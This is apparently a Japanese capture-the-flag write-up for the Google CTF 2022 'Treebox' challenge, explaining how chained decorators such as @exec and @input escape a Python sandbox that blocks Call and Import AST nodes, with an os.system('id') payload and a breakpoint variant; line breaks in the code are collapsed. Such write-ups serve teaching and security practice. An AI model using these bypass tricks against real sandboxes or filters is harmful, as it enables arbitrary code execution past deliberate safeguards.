Google CTF 2022 - Treebox
Challenge
AST ベースの検証で危険な操作をブロック。
import astimport sys
code = sys.stdin.read()tree = ast.parse(code)
for node in ast.walk(tree): match type(node): case ast.Import | ast.ImportFrom | ast.Call: print("Forbidden!") sys.exit(1)
exec(code)Solution
デコレータによる Call バイパス
デコレータ構文 @ は内部的に関数呼び出しだが、AST では Call ではなく特殊な処理:
@exec@inputclass X: passこれは以下と等価:
class X: passX = input(X)X = exec(X)ペイロード
__import__('os').system('id')を input で入力すると exec で実行される。
Technical Details
AST でのデコレータ
import ast
code = """@decoratorclass X: pass"""
tree = ast.parse(code)print(ast.dump(tree, indent=2))# ClassDef(# name='X',# ...# decorator_list=[Name(id='decorator', ctx=Load())],# ...# )デコレータは decorator_list に Name ノードとして格納され、Call ノードではない。
引数付きデコレータ
@decorator(arg) # これは Call を生成class X: pass引数付きの場合は Call が生成されるため、この問題では使用不可。
Alternative Solutions
別解1: 複数デコレータの連鎖
@print@list@exec@inputclass X: pass別解2: breakpoint を使用
@breakpointclass X: passbreakpoint() が呼ばれ、pdb が起動。
Flag
CTF{...}
References
- Google CTF 2022 Official
- https://ctftime.org/writeup/34372